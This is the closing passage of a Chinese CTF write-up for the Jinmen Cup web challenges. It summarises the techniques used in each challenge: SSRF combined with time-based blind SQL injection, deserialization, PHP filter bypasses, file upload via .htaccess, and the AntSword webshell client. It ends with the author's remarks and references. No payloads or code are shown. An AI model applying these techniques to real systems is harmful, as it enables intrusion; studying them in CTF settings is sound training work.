SQL注入直接Sqlmap会失败,需要盲注实现,前面已经介绍过。但难点是与SSRF结合的时间盲注。
总结
写到这里,这篇文章就介绍结束了,希望对您有所帮助,下面简单总结每题知识点。
- 第一题 power_cut dirsearch扫描网站 备份文件 反序列化漏洞
- 第二题 hate_php 代码审计 绕过数字和字母 下划线 美元符
- 第三题 Go0SS GO代码审计 利用302重定向 本地服务器实现SSRF 绕过…和//
- 第四题 HploadHub 文件上传漏洞 Apache2.conf配置文件 .htaccess PHP获取flag方法 蚁剑用法总结
- 第五题 easysql SSRF SQL盲注 本地绕过
作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,由于在外读博,目前暂停技术更新,但这篇确实应该总结下,希望您能与我一起进步。
总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔。同时再次感谢参考文献中的安全大佬们的文章分享,深知自己很菜,得努力前行。
参考文章如下,感谢这些大佬。
- [1] 津门杯 – WEB-Write-Up HA1C9ON
- [2] 津⻔杯-WriteUp Chamd5安全团队
- [3] NU1L大佬团队和官方WP
- [4] CTF | Web安全 Part1:基础知识 - Ackeray
- [5] CTF中PHP常见漏洞及利用(未完待续)
- [6] CTFHub Bypass disable_function系列(已完结)
- [7] SSRF 漏洞分析与利用(含 CTF 例题)
- [8] linux curl get请求_CTF自学笔记(四)
- [9] CTFHUB技能树-SSRF【POST请求】